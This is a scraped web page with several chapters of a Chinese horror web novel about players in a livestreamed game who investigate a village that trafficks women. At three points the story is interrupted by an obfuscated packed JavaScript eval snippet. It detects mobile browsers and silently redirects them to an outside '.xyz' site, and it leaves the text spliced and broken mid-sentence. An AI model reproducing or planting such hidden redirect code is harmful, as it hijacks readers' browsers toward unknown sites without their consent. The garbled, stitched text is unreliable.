;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797625|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得了。” 柯清意继续试探道：“您孙媳妇呢？” 老人面色再次突然变得阴冷，两个眼球又极力地向外突出来，混浊涣散的眼珠又扫过他们四人，拄着拐杖又慢慢逼近他们，阴沉沉地问：“你们问我孙媳妇做什么？你们犯了村里的忌讳！你们犯了忌讳！” 见状，四人也明白了老人口中的忌讳是什么。 “大爷，您重孙儿多大了？”柯清意从善如流地换了个问法。 老人再次被唤醒，喘了口气，兴许是想到重孙，他嘴角扯出了一个僵硬的笑容：“我重孙九岁了，很快就可以结婚了。” 四人：“......” 才九岁就想结婚的事，是不是有点太早了？ 老人的眼睛在柯清意和余小豆身上来回审视了一番，最终，停在余小豆身上，目光诡异地热了起来：“你配我重孙正好。” 柯清意、老方、马大爷：“......” 这老人以为他们四个人是来给他送重孙媳妇的吗？ 余小豆冲老人竖起中指，骂道：“配你大爷！” 其余三人：“......” 眼见老人诡异的目光骤然冷了下去，两个眼球又又极力地向外突出来，拄着拐杖又又要逼近他们，其余三人连忙拉着余小豆离开了老人家。 【哈哈哈哈哈哈，不服就竖中指骂，不愧是小疯子余小豆。】 【乌山村真的是连根都烂了，见人就拉着结婚，封闭落后得真令人窒息。】 【不是，就他们这种问法，能问出什么来？】 老方边走在土路上，边皱着眉头不解地问：“这个村子的忌讳为什么会是‘媳妇’两个字？” 柯清意说出自己的猜测：“可能是因为村子里三分之一以上将近一半的媳妇都是被拐卖来的女孩，他们害怕事情败露，被外面的人查到，所以把这个词当成村里的忌讳，不许跟外来人提起。” 老方仔细想想，觉得挺有道理，而后又想到一个问题：“可是不提这个词，我们怎么打听被拐卖女孩的事？既然村里人有这个忌讳，他们肯定也不会让我们直接去问那些被拐卖的女孩吧？” “试试看吧。”柯清意说，“不行的话就只能从她们的样貌和年龄推断了。” 马大爷思考片刻后，迟疑着问出了一个令人发指的问题：“既然‘媳妇’两个字是忌讳，那能不能换成‘老婆’、‘夫人’、‘太太’之类的词？” 其余三人：“......” 这些词不都一个意思吗？ 还是他以为村里人都是傻子？ 余小豆脸色复杂地看了马大爷一眼，故作夸奖地说：“真是个好问题，您待会可以实践一下。” 她的用词过于尊重，马大爷一听就知道余小豆是在反讽他，他冷哼一声转过头去：“不用了。” 余小豆挑眉，也还不算太蠢嘛。 四人又敲开了一间村房的门，这次柯清意提前利用灵敏的听力，确定这间村房里有男人和女人的说话声，才敲门的。 开门的是一个五十多岁的妇女，身上穿着件起球破旧的深灰色格子衫，头上带了块格子头巾，脸色蜡黄干瘪，眼神麻木空洞。 见到他们时，女人眼神明显瑟缩了一下。 “大姐，您......”老方刚开口，女人就惶恐地摇着头关上了房门。 任凭老方再怎么敲，被女人急忙关上的房门再也没打开来。 “别敲了。”柯清意叫住了老方，从兜里掏出手机翻看起寻人启事来，一张接一张地快速滑过去。 见状，老方疑惑地问：“小柯，你是认出那个女人了吗？” “嗯，她头巾下的脖子上有一颗黑痣，我站的角度刚好能看见。”柯清意继续向左滑了十几张寻人启事，才停住滑动的手指，把手机屏幕上的照片放大转向他们，“这张寻人启事照片上的女孩，脖子上相同的位置也有一颗黑痣。” 这张寻人启事的照片不是黑白照片，而是彩色照片，女孩下巴右侧脖子上的黑痣还算明显，细看之下，五官也跟刚才开门的女人有些相似。 老方缩小照片，看见上面的失踪年份和时间，紧紧皱起眉头：“二零零九年失踪，失踪时23岁，那她现在才......37岁？” 14. 山村爱情（十四） 说出这个数字，老方难免有些震惊。 刚才那个女人眼眶凹陷枯皱，藏在头巾下的头发已经半花白，看上去完全不像三十八岁。 ......她这些年到底受了什么折磨，才会看上去比实际年龄老十几岁？ 老方压下心底的起伏，带着几分同情地开口问：“我们已经知道她是被拐卖的了，现在怎么办？” 柯清意正低着头在寻人启事照片上编辑着这间村房的信息，听见他的问话，头也不抬地说：“把所有被拐卖的女孩都找出来再说。” “她们半句话都不肯跟我们说，怎么找？” 站在一旁的马大爷脸上露出抱怨的神色，“早上分离报纸找失踪年份根本就是在浪费时间，到头来还不是得靠外貌特征来找。” “不是所有被拐女孩都有明显的外貌特征。”柯清意编辑完村房信息后，继续低着头在手机上鼓捣着，“她们失踪的时间和被卖给村民的时间应该不会相差太久，最多半年到一年，我们只要打探出她们被卖给村民的具体时间或者年份，就能缩小范围，在几张寻人启事中根据五官和相貌进行筛查。” 马大爷皱眉：“几张寻人启事？” 柯清意把手机屏幕再次转向他们：“我把有失踪年份的四十六张寻人启事按照失踪年份建了十二个相册，两年为一个相册。一九九九年到二零零六年间这四个相册的寻人启事最多，几乎都在六张以上，其余年间几乎都在两三张以内。” 其余三人见手机上排列着的相册合集，都有些惊讶，没想到柯清意办事风格这么理性，还很迅速。 柯清意继续说：“刚才我试探过那个老人了，结婚和孩子年龄不是忌讳词，我们可以从这两个方面打探。” 其余三人：“......好。” 有了具体的探查方向，接下来的探查比前两次顺利多了。 敲开门，是独自留在家里的老人和男人就旁敲侧击地打听他们儿子、孙子、重孙的年龄和结婚时间；是中年妇女就由老方记样貌，马大爷用手机偷偷拍照，柯清意和余小豆打听事情。 但大部分中年妇女看见他们四人都是急里忙慌地关上房门，接着再敲，要么不会再开门，要么是换了个男人来开门，四人再顺势打探开门男人的结婚时间和儿子岁数。 但结婚时间似乎是乌山村的隐形忌讳，几乎每个人的回答都是“记不太清了”，柯清意四人只能把打听重点放在他们子孙的岁数上。 也勉强能推测出一些东西。 乌山村将近有一百多户人家，每组得查探三四十户，柯清意四人查探完中间三十八户人家和壮汉四人相遇时，手机上的时间已接近下午五点多。 壮汉问：“你们有什么收获？” 老方先是跟他们简单说了一下忌讳和分类照片的事，才说起查探三十八户人家的收获：“我们查探过的三十八户人家中，有五户完全没人在家，所以暂时无法确定。” “另外三十三户中，有十四户确定参与过拐卖女孩，但能跟寻人启事对得上号只有五户，另外九户只有个大概范围，还需要跟你们和另一组的信息统合一下，才能确定。” “五户确定.....九户大概......”壮汉尽力从中抓了两个关键词后，接着说起他们四人的收获，“我们的经历跟你们差不多，三十六家只有二十多家有人，其他的要么下地干活了，要么去村委会修门了，但我们能确定的有六户，不太确定的有十二户。” “修门？”老方从他话中抓到一个与众不同的词，皱眉问：“他们去村委会修门干什么？你们打听了吗？” “......没有。”壮汉说。 老方皱眉：“万一是线索......” “......” 壮汉和女白领神色复杂地对视了一眼，最终，还是女白领开口说：“修门不是线索......因为那门......是我们两个昨天晚上遇见爱情侦探时弄坏的。” 老方：“......” “接下来怎么办？”女白领替尴尬的老方转移开话题，“回乌老头家吗？” 柯清意摇头：“我们刚才跟村民打听了一下坟地的位置，接下来打算去坟地看看。” “坟地？”女白领惊愣了一秒后，立即反应过来，“你们是想去找那些已经死了的女孩？” 她的话音刚落，壮汉便紧蹙着眉头问道：“村民肯定不会给那些被拐卖的女孩立碑，你们打算怎么找？” 柯清意抬眼看向乌山村右侧的山林：“没有石碑，但或许会有坟包也说不定。” 壮汉想了想，眼神扫过同组的三位队友，替他们做了决定：“我们跟你们一起去。” 其余三人见状，也没敢发表什么异议，于是一行八人直奔乌山村右侧山林的方向而去。 根据打听到的消息，乌山村的坟地集中在半山腰一处平缓的地方，因为坟包占了位置，那的树木看起来比其他地方的要更稀疏一些，站在村里也能大概分辨出坟地的位置。 柯清意几人没有特意去找通往坟地的小路，而是奔着坟地的方向直接从山林间爬上去。 这片坟地埋葬了乌山村几代的村民，随处可见大大小小的坟包，坟包前面都立着刻小字的石碑或者木牌，坟包上挂着飘零的白纸。 众人沉默地穿行在坟包之间，直到走到这片坟地边缘，才看见一堆又小又平的坟包。 它们孤零零地躺在坟地的边缘一角，周围长满了杂草，没有石碑木牌，也没有挂纸香烛，像是完全被世人遗忘了一样。 柯清意数了数，一共有七个无碑坟包。 因为什么都没有，一时有些难以确定这七个无碑坟包就都是被拐卖女孩的，也许只有挖开坟包验尸骨，才能确定。 余小豆显然跟她想的一样，开口打破沉默：“要挖坟验尸吗？” “啊？”老方闻言愣了一下，而后盯着余小豆不可置信地问道：“你还会验尸？！你不是高中生吗？” 余小豆忍不住翻了个白眼，无语道：“从尸骨判断性别这么简单的事，我这个高中生会一点不行吗？” “......”百分百纯门外汉的老方挠了挠头，心想从尸骨判断性别是简单的事吗？ 柯清意看了一眼手机屏幕上的时间：“快六点了，挖坟验尸至少也需要一两个小时，明天中午再来吧。” “OK。”余小豆漫不经心地点点头，跟柯清意一同朝山下的乌山村走去。 其余几人看着山林中隐隐泛起的黑雾，心头莫名一紧，连忙跟上走在前方的两人。 八人赶在夜色完全降临之前，回到了乌老头家。 堂屋长桌上摆着一锅热腾腾的白米粥，旁边摆着两摞干净的碗筷，风衣男四人正围坐在长桌边喝着白米粥。 看见他们回来，风衣男疑惑问道：“你们八个怎么现在才回来？我们还以为你们都出什么事了呢。” “我们去了趟坟地。” 壮汉丢下一句话后，就走过去在长桌边坐下，拿了个干净的碗给自个盛了一碗米粥，唏哩呼噜地喝了起来，还是老方接过他的话跟风衣男四人简单说了一下查探和坟地的事。 风衣男听完后，淡淡说了一句：“我们也有一些发现，喝完粥再说吧。” 白米粥单调清淡，但胜在滚烫鲜活，让东奔西走打探了一天消息的众人莫名感受到了生命的温度，一顿饱粥下来，连带着心中对副本夜晚的恐惧也被驱散了几分。 见众人都已陆续放下碗筷，风衣男用纸巾擦了擦嘴角，言简意赅道：“我们查探的四十户人家中，有三户不在家，二十四户应该参与过拐卖女孩，其中有五户已经跟七张寻人启事对上号了，另外十九户还不太确定，只有个大概时间，跟你们查探到的信息再整合一下，应该能确定一些。” “五户、六户、五户七张......”老方在心里整合着三组的信息，两秒后开口总结道：“所以，目前我们能确定的只有十六户，也就是......十八张寻人启事。” 风衣男点了点头，接着说：“把不确定的都拿出来集中整合一下吧。” “好。”老方说。 三组虽然查探和记录的方法不太一样，但信息都挺完整详细，全都整合一遍后，根据单一的失踪时间又勉强确定了八张寻人启事，都是二零一零年后的，反倒是零六年以前失踪的很难确定，因为这段时间失踪的人数太多了，再加上她们出门干活了，没见到本人，很难确定。 众人打算明天趁她们本人在家吃中午饭的时候再去查探一遍。 风衣男忽然说：“我们还有一个发现。” 闻言，除风衣男三名组员外的其余人全都讶然地看向风衣男，等待他的下文。 “我们去了昨晚男血尸爆炸的那间村房，在里面找到了一本笔记本。”风衣男从衣兜里拿出了一本只有卡片大的迷你笔记本，放在长桌边上，“上面写了一些东西，你们看看。” 柯清意离得最近，直接拿起他放在长桌上的迷你笔记本翻看起来，其他人也全都站起身凑到她身边来。 笔记本上面的内容全是英文，每页上面都贴着一张干净崭新的黄色便签，上面都写着几句中文，字迹看起来浓稠崭新，应该是风衣男他们把笔记本上的英文都翻译成了中文，写在便签上，方便众人无障碍翻看。 上面写着一位女孩被拐卖的经过—— 我叫张丽康，是广南大学外语系一年级的学生。 2003年11月15号早上，我出去学校外面吃早点，回校路上经过一辆停在路边的白色面包车时，车门突然被拉开，从里面钻出来两个男人把我强行拉进面包车里。 他们把我四肢嘴巴眼睛全都绑起来了，我当时心里很害怕，害怕他们会强\奸我，会杀了我，会把我卖进深山。 我当时真的很害怕，想方设法地逃跑了两次，但都被他们抓了回来。 乌老头用脚狠狠踢我的背和大腿，他说不能踢肚子，会生不孩子，卖不出好价钱。 乌云总是在乌老头打完我后，假模假样地对我说，他很喜欢我，从我走出校门那一刻他就看上了我，所以要把我带回村里做媳妇。我恨他！！！ 我恨乌云！！我恨不得杀了他！但我杀不了他， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797626|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也逃不出这个吃人的乌山村，它不仅吃了我，还吃了二十几个跟我一样被拐卖来的女人。她们有的挺着几个月的肚子，有的抱着孩子，都来劝我留在这跟乌云好好过日子，真讽刺！ 我没有变得跟她们一样，我还是一直想要逃出乌山村！ 我开始假装对乌云慢慢服软，忍着恶心给他生了一个孩子，五年间，我以弱势者的姿态不停给他灌输离开乌山村的想法，他有些动摇了。 他说要带我和孩子偷偷离开乌山村！ 我很激动，我在这吃人的乌山村里生不如死了六年，终于快要逃离这第一重地狱了！！ 笔记本上的内容到这就突然没了，最后一句英文写得潦草又狂乱，尤其是最后一个单词“hell”更是被重重圈了起来，打了个大叉。 “她后面没接着写，是因为成功逃离乌山村了吗？”女白领问。 汉服女摇摇头：“应该没有。我们是在一个军绿色背包里发现这本笔记本的，包里还有一些收好的衣服、证件、照片，那个背包应该是她和乌云收拾好打算离开时带走的。但最后背包没被带走，而是随意地被扔在地上，还有被人翻动过的痕迹，说明他们很大概率没逃出去，被村里其他人发现了。” “然后......”风衣男接过她的话，“村里人杀了他们一家三口，张丽康可能是被淹死，乌云可能是被剥皮，他们的孩子......还不确定。” 老方反应过来，惊讶问道：“你是说那三个爱情侦探就是张丽康、乌云和他们的孩子？！” “对。”风衣男说。 女白领倒吸一口冷气，惊讶又恍然地说：“怪不得村里每家每户的大门上都涂了血……” 接着她突然想到一个问题，瞪大眼睛问道：“既然那三只鬼怪跟整个村子都有血仇，那他们今晚是不是会附在我们身上去杀村里的人？” 那三只鬼怪进不去涂了血的村房，但他们这群外来人是进得去的。 女白领这话一出，众人间的气氛仿佛凝固住了，各自沉默着，都在思考自己被鬼怪附身的可能性有多少。 一向在人群中保持沉默的肖平巍忽然开口了：“如果我们十二个人都待在一楼，说不定......鬼怪就没有附身的机会了。” 女白领闻言点了点头，脸上挂满了害怕的神色。 余霜和光头男半夜死了，她的处境跟肖平巍一样——今晚都得一个人住一间房，很容易成为鬼怪附身的最先选择。 风衣男不赞同道：“乌老头虽然死了，不代表我们就可以不遵守住宿规则了。” 壮汉也不赞同肖平巍说的话，沉着脸说：“要是我们所有人都因为待在一楼，而违反了住宿规则，全军覆没怎么办？” 肖平巍张了张嘴，没吐出话来。 风衣男见状，安抚了他一句：“我们也不确定鬼怪到底进来了几只，所以一个人住、两个人住，还是三个人住被鬼怪附身的可能性都差不多。” 这句话成功止住了肖平巍希望众人一起待在一楼的想法。 众人沉默着收拾了碗筷和厨房，也没心思继续再待在一楼堂屋里，全都踏着沉重的步伐上了楼，简单地洗漱过后，回了各自的房间。 柯清意心里对曾经囚禁过被拐卖女孩的单人床有些厌恶，但眼下别无选择，只能和昨晚一样，穿着鞋子和衣躺在了只剩棉絮垫子的单人床上。 她看着天花板，脑海中倒着划过自己的明线任务—— 【贪多贪足】需要心动值满50才能转换心动嘉宾，而心动值似乎只能从面板上刷新的每一夜任务获得，不知道是不是时间还不到的原因，面板上还没刷新《山村爱情》第二夜任务，又或者没有第二夜任务......总之，这个任务她目前做不了。 【棒打鸳鸯】也是跟50心动值有关，她目前也做不了。 而【毒舌辣嘴】她只完成了两个，并且两个都还是误打误撞才完成的。言语攻击才认识一两天的人，很难一击必中他们心底最薄弱、最害怕的地方，所以她得换一个大众点的方法，能让所有人的精神值都下降的方法...... 她已经想到方法了，就看今晚鬼怪会不会来找她了。 夜依然很静，似乎一切声音都被笼罩在乌山村上方的浓雾吞噬了，只剩让人喘不上气的霉灰味、恶臭味和血腥味，如有质感地充斥在鼻腔间。 柯清意本来打定了主意今晚不睡觉，时刻听着鬼怪和其他人的动静，但在单人床上睁着眼睛躺了好一会后，一阵莫名其妙的困意突然涌上来，她不知不觉地闭上眼睛睡着了。 再醒来时，她的双手已经被牢牢绑在了床头的排骨架上，嘴巴上紧紧粘着一块胶带。 面板飘浮在她的上方，几行半透明白字在黑夜中发着微弱的亮光—— 【《山村爱情》第二夜：完成心动任务，并存活到明天早上。】 【心动任务：共同使用掌上小相机拍摄一段五分钟的视频。】 【内容：不限】 【地点：乌山村】 【时间：六个小时】 【倒计时：05：59：54】 15. 山村爱情（十五） 又是用掌上小相机拍视频...... 第一夜考验的是信任，那今夜考验的又会是什么？ 捆绑......？ 柯清意用力挣了挣绑在手腕上的麻绳，结实又粗糙的麻绳未松分毫。 反倒是她的手腕被勒得越发胀疼和麻痒，床头木架也在挣扎中发出几声嘎吱声响，在死寂的夜里格外刺耳。 同屋的秦晓樾和余小豆却好像完全听不见这声音似的，仍在沉沉睡着，呼吸声均匀又平稳。 意识到单凭手力挣不开麻绳，柯清意挣了两下就停下动作，转用意念去点面板上的背包图标，想取出余小豆支付给她的匕首割麻绳。 然而，以往丝滑转场无延迟的面板却突然像定住了一样，任凭她用意念怎么点都不动。 柯清意蹙了蹙眉，又试着用意念去点其他的图标，结果全都跟背包图标一样，纹丝不动。 看来，面板上的物品是用不了。 门外走廊上的灯不知道被谁给关了，房间里一片漆黑，只有面板散发着淡弱的光亮。 柯清意借由这淡弱光亮扭头朝左边的秦晓樾和余小豆看去，却什么都看不清，连木床的大致轮廓都看不清，似乎面板散发出来的淡光完全穿不透这片浓重的黑暗。 这一切都太过诡异。 柯清意没有轻举妄动，冷静地躺在床上，侧耳倾听周围的动静。 周遭没有嘈杂的声音。 她所能听到的，只有左边两张床上秦晓樾和余小豆均匀平稳的呼吸声，以及某两个房间里的人的打呼声。 在这浓重的黑暗里，整个乌山村中，似乎只有她一个人在醒着。 柯清意心中的诡异感更甚。 副本的夜晚充满了危险，其他人不可能毫无戒心地睡这么沉，应该是跟爱情侦探今夜的考验有关，就像她之前也莫名其妙地睡着过一样。 可为什么现在只有她一人醒来？ 难道是跟第一夜一样，分批次考验？ 【怎么回事？我记得第二夜考验所有人都是一起醒来的啊，怎么小柯主播提前醒了？】 【醒来，面板上的倒计时就会开始，这么说......主播的倒计时要比其他人的快一些。】 【真是活久见！这个副本到底还有多少bug！】 【今晚考验啥？不会是跟拐卖女孩有关吧？】 【完了，面板用不了，该怎么解开手上的绳子啊？】 “嘎吱......唔唔......嘎吱......” 沉思间，一道床架摇曳的嘎吱声和喉咙里发出的沉闷唔唔声，骤然在柯清意正上方的天花板上炸响，瞬间撕裂了黑夜的死寂。 柯清意惊愣一秒，而后还来不及思考这声音是谁发出来的，耳中又忽地窜入好几道床架摇曳的嘎吱声和唔唔声。 这些声音大小不一，凌乱分散，从二楼和三楼的几个房间里接连传来。 离柯清意最近、最清晰的声音就在她的左边，又稍微有些距离。 ......是睡在最左边的余小豆发出来的。 床架摇曳的嘎吱声中，还掺杂着一道挣脱麻绳的撕拉酥麻声。 看来，其他人的处境也都跟她一样。 这个想法刚划过脑海，一道带着几丝惊颤的声音在左边响起：“余......余小豆......你......你怎么了？” 柯清意讶然，这是秦晓樾的声音...... 她能说话？！ 而且听这句话的意思，她的双手也没被麻绳绑住。 与此同时，其他房间里也陆陆续续传来各种杂乱起伏的声音—— 马大爷惊恐：“发生了什么事？你怎么会被绑在床上？？！” 卫衣男惊愣：“是那三只鬼怪干的吗？！” 长裙女生焦急：“你别急，我先帮你撕开胶带。” 老方疑惑：“谁把你绑起来的？” 壮汉愤怒：“操，老子怎么知道！睡醒就这样了，别废话，赶快给老子解开绳子。” 卫衣男惊愣×2：“我面板上突然出现了个三十分钟的倒计时，这是什么意思？！” ...... 根据听到的对话内容，柯清意在心中迅速梳理出了一份被绑人员名单：风衣男、汉服女、壮汉，以及她自己和余小豆。 至于独自一间房的女白领和肖平巍暂时还无法判断。 柯清意敏锐地从目前被绑的五个人中，捕捉到了一丝细微的规律...... 房间里，余小豆仍旧在用力挣扎着，床架摇曳的嘎吱声反复割锯着秦晓樾的精神值。 她进副本时没带手机，此刻连照明的东西都没有，只能僵硬地躺在床上，盯着左边浓重的黑暗问：“余小豆......你到底......怎么了？” 兴许是意识到自己的挣扎只会让秦晓樾更害怕，余小豆停下挣扎，安静地躺在床上。 然而，秦晓樾听见嘎吱声停下，心里越发打鼓，转问右边安静得像一条死鱼的柯清意：“柯......柯清意......你在吗？” 柯清意说不了话，只能示意性地挣了两下床架：“嘎吱......嘎吱......” 潜台词：我在。 秦晓樾：“............” 诡异地沉默了片刻后，一道刺眼的亮光乍现，照亮了房间里的三人。 秦晓樾从床上坐起身，拿着刚从面板购物车里买的强光手电，在柯清意和余小豆身上来回照了两遍。 见她们两人只是被绑在床架上，嘴巴上贴着黑色胶带，不是自己想象中被鬼怪残杀的画面，她提到嗓子眼的心落回去了一半，随即惊愕和不解如潮水涌来。 “你们怎么会被绑在床上？！” 柯清意没有吭声，黑漆漆的瞳孔紧盯着秦晓樾的床铺陷入沉思。 左边的余小豆听见这话，忍不住翻了个白眼，鼓起嘴巴唔了两声，示意她：嘴巴上贴着胶带，怎么回答？ 秦晓樾也反应过来，连忙下床去撕余小豆嘴上的胶带。 她指甲上的长美甲在昨晚还没入住乌老头家的时候，就被她用匕首连撕带翘地给卸下来了。 本甲尖端的一部分连同美甲撕了下来，剩下的指甲秃楞薄软。 秦晓樾花了好几秒才用指甲刮起胶带的边缘，将胶带从余小豆嘴上撕了下来。 “不知道，刚刚醒来就发现自己被绑起来了。”余小豆开口回答她之前的问题。 秦晓樾一边低着头去解绑住余小豆手腕的麻绳，一边说出自己的猜测：“会不会是跟面板上刷新的第二夜任务有关？” 余小豆沉吟：“应该是。” “那为什么我没被绑？” 绑住余小豆手腕的是个死绳结，打结的地方特别紧实，秦晓樾用手解不开，只能从面板背包中取出匕首来割麻绳。 余小豆本来在沉思她问的问题，看见她手中凭空出现一把匕首，这才后知后觉地意识到什么，惊讶问道：“你的面板点得动？” “点得动啊。”秦晓樾疑惑，“你的面板点不动吗？” 余小豆皱眉：“点不动。” 秦晓樾“啊”了一声，随即眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797627|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梢拧成了一团，手上的动作变得急躁起来：“这麻绳根本就割不断......” “什么意思？” 余小豆极力仰起头去看，视线边缘正好是秦晓樾用匕首割麻绳的画面。 匕首刃口锋利，但割过的麻绳上却没有留下一丝割痕，仿佛中间有一层无形的保护罩一样。 眼见秦晓樾手上的动作越发急躁和用力，余小豆出声制止她：“你先别割了，这绳子不对劲。” 秦晓樾闻言停下动作，有些茫然地看着那根割不断的麻绳。 “别看了。”余小豆抬着下巴朝柯清意的方向努了努嘴，“先去把她嘴巴上的胶带撕开。” “哦哦，好。” 秦晓樾从麻绳上收回视线，连忙转身越过中间的床铺朝柯清意走去。 见柯清意头偏向窗户边，眼睛怔怔地盯着墙面，秦晓樾走过去将她嘴上的黑色胶带撕下，不解地问：“你是在看什么吗？” “等等......我的面板上突然刷新了一个三十分钟的倒计时......” 秦晓樾的声音和三楼房间里老方的声音重叠着钻进柯清意耳中。 她转过头来，见秦晓樾惨白着一张脸在割她手腕上的麻绳，双手不受控制地在微微颤抖，透露着内心的极度恐慌。 未免再刺激到她，柯清意没有选择说出自己看见的画面，而是岔开话题：“麻绳割不断吗？” “嗯，一点割痕都没有。”秦晓樾语气带着几分惊恐和焦躁，“这到底是怎么回事？为什么割不断？！” “别割了。”柯清意轻声叫住了她，说出自己的猜测试图安抚她，“这麻绳或许只有特定的人才能解开。” “什么意思？”秦晓樾愣住，脸上恐慌的神色也被疑惑和不解冲淡了不少。 “特定的人？”余小豆低声重复了一遍，结合面板上刷新的第二夜任务，她立马反应过来：“你是说......带着心动手环的队友？” 柯清意：“对。” 秦晓樾：“......” 她的脑子好像有点格格不入...... 柯清意看向站在床边一脸懵的秦晓樾，问道：“你面板上有没有一个三十分钟的倒计时？” “三十分钟？”秦晓樾更懵了，“没有啊......倒计时不是六个小时的吗？！” 闻言，柯清意彻底明白三十分钟倒计时是怎么回事了，沉吟片刻后继续问她：“你面板上还有多少金币？” 秦晓樾眼神顿住一秒，而后给出了一个数字：“还有55个。” 柯清意：“打开面板购物车买一个3金币的扩音喇叭。” “......” 有了柯清意昨夜用喇叭卖情报的先例，秦晓樾再懵也反应过来了，连忙点开购物车搜寻喇叭的图标，边问：“你是不是知道这一切是怎么回事了？” “嗯。”柯清意脸色凝重，趁秦晓樾买喇叭的时间先给她们解释起来。 “我们十二个人中有六个人被绑住了，每组一个。一旦被绑住的人嘴上的胶带被撕下来，对应的队友面板上就会刷新一个三十分钟的倒计时......你没刷新，是因为肖平巍一个人住一间房，暂时还没人给他撕下......” 见秦晓樾手中凭空出现一个熟悉的白色扩音喇叭，柯清意停下解释。 等秦晓樾摁下喇叭扩音的开关，将它放到柯清意嘴巴上方，她正想开口说话时，一道被喇叭扩开的男音先在天花板上方骤然炸响—— “各位，今夜爱情侦探的考验已经开始了，时间只有三十分钟，我长话短说。” 16. 山村爱情（十六） 众人都听出来了，这是风衣男的声音。 “我们十二人中，有六个人被绑，六个人面板上出现了三十分钟的倒计时。” “而爱情侦探的考验就是——” “面板上出现三十分钟倒计时的一方需要在倒计时结束前，避开走廊里的爱情侦探，替被绑住的队友解开绳子。” 走廊里的爱情侦探？ 众人心里同时浮现出这个疑问，却没成想，风衣男下一句就顺当接上了—— “是的，二楼和三楼走廊里都有一个爱情侦探守着。守在三楼的是已经被剥皮乌云附身的光头男人，二楼大概是被张丽康附身的余霜。” “记住，一旦绳子解开，这俩爱情侦探将会进行无差别追杀，一直持续五分钟，这也是掌上小相机要拍摄的内容。” 风衣男顿了顿，接着补了最后一句：“以上情报免费，不用谢。” 说完，喇叭“嘚”的一声就被关了，连第二遍播报都没有。 但他带来的情报内容已几近详细，让本来一知半解的众人瞬间有了大致方向。 ——避开爱情侦探，替队友解开绳子，再一起拿着掌上小相机逃生五分钟。 但也正因为太过详细，众人不禁怀疑起这些情报的真假来。 他怎么确定他们中有六个人被绑，有六个人面板上出现了三十分钟倒计时，而且被绑的人和出现倒计时的人正好是队友？ 他又怎么知道解开绳子后会被追杀？ 众人的直播间也是一片哗然： 【不是？？？这帅哥是怎么知道考验内容的，难道他之前看过这个副本？不应该啊，他之前在枯井那里听到外卖姐说的情报，看上去不是也挺震惊吗？】（马大爷直播间） 【捷足先登啊，小柯主播本来又可以大赚一笔情报费了……不过小柯主播确定六组人的处境是因为听力灵敏，这男的怎么确定的？他也听力灵敏？】（柯清意直播间） 【我去，预言家啊，他的天赋不会是预言家吧……跳直播间了。】（肖平巍直播间） 【被绑住的主播，面板不是不能用吗？就算他的天赋真是预言家，也用不了……】（肖平巍直播间） 【我去！幸好他下午就用过天赋知道后面通关线索了，不然他现在面板锁住，根本就用不了。】（风衣男直播间） 【白天把控全场，晚上免费情报大放送，只需要再来最后一个高光，主播的人设就可以完成了。】（同上） 【还好主播说得快，不然今夜的高光又要被那个姓柯的主播抢了，还是免费的情报好啊！】（柯转风衣男直播间） 【啧，如果这男的以前看过这个副本的话，那他还挺有心机的，最关键的一个信息点竟然没说……】（余小豆直播间） …… 见柯清意一直沉默着，秦晓樾便把扩音喇叭关了收回到背包中，迟疑着开口：“他说的……真吗？” 虽然柯清意从未明说过她的听觉和嗅觉很好，但也没刻意隐瞒，众人从她平时的言行中也能猜出几分。 比如昨晚她能听到风衣男三人身后还有两个新人，能闻到木门上的血腥味…… 她现在能听到其他房间里的动静也不足为怪。 柯清意的声音过了片刻才响起来：“被追杀五分钟我不确定，但我们六组人的处境……他说的是真的，‘替队友解开绳子’这点和我之前猜的也差不多。” “至于走廊里的爱情侦探……”柯清意看着房间里唯一能自由行动的秦晓樾说，“你拉开门看看就知道真假了。” “……” 秦晓樾害怕地朝门口看了一眼，脸上浮现出挣扎的神色。 她脑海中不受控地闪过很多惊悚鬼片里的画面：拉开门突然对上一张鬼脸，流血的、惨白肿胀的、突然放大凑近的、倒挂的…… 【注意：主播秦晓樾精神值-1】 秦晓樾：“……” 她光是想想就掉精神值了，很难说拉开门后，真看见点什么会不会直接把剩下的精神值掉完。 可她又是这个房间里唯一没被绑住的人，她还得去三楼帮肖平巍解开绳子…… “你精神值还剩多少？”柯清意显然也看出了她脸上的挣扎和害怕，忽然开口问道。 秦晓樾愣了一下，迟疑着说出个数字：“46。” “嘶......” 躺在一边的余小豆倒抽一口气，难以置信地上下打量着秦晓樾：“新人再不济，精神值一般也是及格线打底，60往上的，你到底是有多害怕啊！” 秦晓樾抿了抿唇，低下头没说话。 柯清意倒是了然，秦晓樾先是经历了肖平巍劈腿的事，接着莫名进入一个随时会丧命的副本中，再接着又被她用言语攻击掉了12个精神值。 三重打击，精神值不高也是正常的。 